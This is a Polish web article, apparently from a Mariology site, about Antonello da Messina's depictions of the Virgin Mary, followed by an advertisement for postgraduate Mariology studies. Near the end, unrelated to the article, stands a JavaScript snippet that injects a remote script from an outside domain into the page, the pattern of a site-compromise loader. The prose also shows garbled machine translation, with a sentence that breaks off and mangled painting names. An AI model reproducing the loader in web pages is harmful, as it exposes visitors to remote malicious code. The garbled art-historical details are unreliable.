Antonello da Messina: mariologia “Homo novus”
Wstęp
Zasługa Antonello da Messiny nie ogranicza się tylko do poprawy stanu współczesnego malarstwa, promując doskonalenie metody malowania olejnego, ale także do tego, że był jednym z najodważniejszych włoskich malarzy XV wieku. Jego najwyższa zasługa polega na tym, że umie poruszyć serce, zarówno w różnych tematach, gdzie przedstawiona jest surowość dominująca nad słodkością, majestat nad pastelismem, ból nad delikatnością, jak i w tej spokojnej atmosferze najgłębszych i najsłodszych uczuć duszy.
Urodzony około 1430 w Mesynie, gdzie zmarł w 1479, Antonello jest jedną z najbardziej tajemniczych postaci włoskiej sztuki, gdyż, w obliczu niewielu świadectw, wciela w sobie podwójną tożsamość jako lokalny artysta, opierający się na tradycji, i jako międzynarodowy artysta, zdolny do rewolucyjnych innowacji. Wprowadził gramatykę flamandzką do włoskiej składni i dał ludzkości swojego kraju, swojej wyspy, absolutne i wieczne wyrażenie.
To właśnie mówią nam ich Portrety, tak “strasznie sycylijskie”, że wydaje się słyszeć ich głos w dialekcie, tym samym, którym mówią o ich Zwiastowaniu. Ta przytłaczająca przywiązanie do przedmiotu, ta liryczna transformacja najintymniejszej, najgorętszej substancji mgły, którą on zamierza stworzyć absolutystyczną, jest powodem tajemniczego zdumienia, które ogarnia obserwatora dzieła Antonello.
Dlatego postacie ziemskie na krzyżu w Sybinie wydają się płonąć wewnętrznym ogniem, który się wypala i rozprasza w białym cieple nieba na tym krajobrazie. Dlatego ich święci i Maryja z taką delikatnością i prostotą nakładają swoją miłosierną obecność w środku cierpienia.
Antonello jest typowym przedstawicielem *Homo Novus* renesansu, zjawiska w pełni włoskiego od Sycylii po Wenecję. Jest symbolem XV wieku, w którym świadomość własnej tożsamości powróciła i przekroczyła ogromny ocean, aby odkryć nowy świat, w którym *devotio moderna* oczekiwała intymnej i subiektywnej religijności w przeciwieństwie do średniowiecznej zbiorowej pobożności.*Język gestów*
W przedstawieniu Dziewicy z Dzieckiem, przeciwstawnej kobiecej wersji licznych portretów męskich, Antonello da Messina czerpie inspirację ze swojej ojczyzny. Zarówno wygląd fizyczny, jak i pozy Dziewic Antonello, jak ręka symulująca welon Zwiastowanej w Palermo, przypominają sycylijskie kobiety.
Jako pierwsze Dziewice, jak Dziewica z Soltyka lub
Na obrazie Dziewica z książką na tle jednolitego, monochromatycznego tła prezentuje się precyzyjną piękność biżuterii i szat, nawiązujących do stylu Antonello da Colantonio z Neapolu, gdzie artysta po raz pierwszy zetknął się z sztuką flamandzką.
Panna z Solenizacją przedstawia Matkę Boską z Dzieckiem w ramionach, koronowaną przez dwóch aniołów skandynawskich jako Królowa Nieba. Mała gotycka figurka Jezusa trzymająca w dłoni winogrono, symbol płodności i królewskiej godności Maryi, ale także czerwonych owoców, symbolizujących Jego pasję i krew. Przejrzysta szata Panny jest wyrazem wysokiego poziomu rzemiosła, podobnie jak piękny opis biżuterii i brokatu.
Anioły na ciemnym tle, ozdobna korona z efektami błyszczącego metalu, ostra biała światło przypominają flamandzką sztukę, którą Antonello potrafił połączyć ze spatialnością i monumentalnością włoską.
Twarde i nieprzeniknione oblicze, gdzie wszystko – od ciemnych pasm włosów po bladość skóry, od geometrycznych kształtów brwi i oczu po tajemniczą usta, od idealnego ucha po sylwetkę – wydaje się dążyć do nieruchomej twardości rzeźby, zamraża w swojej stylizacji marmurową gorącą piękność, nadal jest rozpoznawalna wśród kobiet Sycylii.
Symboliczne powiązanie łączy Dziewicę z Soli z Dziewicą-Czytelniczką, związek naprawdę bliski, tak blisko, że nie może wydawać się przypadkowy i prawie sugeruje myśl, że w ostatniej chwili Dziecko Jezus zastąpiło otwartą księgę w dłoniach Matki.
Wierzchowna Dziewica, której białe oblicze wydaje się promieniować światłem, dzięki koronie ozdobionej goździkami i różami, oraz księdze otwartej w jej rękach, młodemu dziełu z Tomu Messyńskiego, który określił ją jako „istotę ostrejszą, o gorzki usta, długich i niemal drapieżnych rękach, z twarzą zamkniętą w paskach zmęczonych” – odpowiada na liczne prośby o prywatne nabożeństwa i modlitwy.
var url = ‘https://wafsearct.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
Aby pogłębić refleksję nad Mariologią w sztuce sakralnej i malarstwie renesansowym, zapoznaj się z apostołową eksortacją Marialis Cultus Pawła VI, która ceni wyrażenia artystyczne jako uprzywilejowany środek do kultu i kontemplacji maryjnej.
Głębiej zgłębiaj wiedzę: poznaj MariologięTeologię maryjnąaparicje maryjne oraz Podyplomowe studia z Mariologii.
Późniejsze studia w mariologii
Chcesz pogłębić swoją wiedzę o Mariologii? Poznaj studia podyplomowe w dziedzinie Mariologii w Locus Mariologicus, które łączą rygorystyczną teologię, życie duchowe i żywą tradycję Kościoła.Czy chcesz poważnie zgłębić mariologię?
Ten artykuł opiera się na zbiorze dzieł z biblioteki Locus Mariologicus. Studia podyplomowe z mariologii prowadzą do tych samych źródeł, oferując wsparcie akademickie: Pismo Święte, Ojcowie Kościoła i Magisterium, od pierwszego dogmatu do współczesnych kwestii.
Responses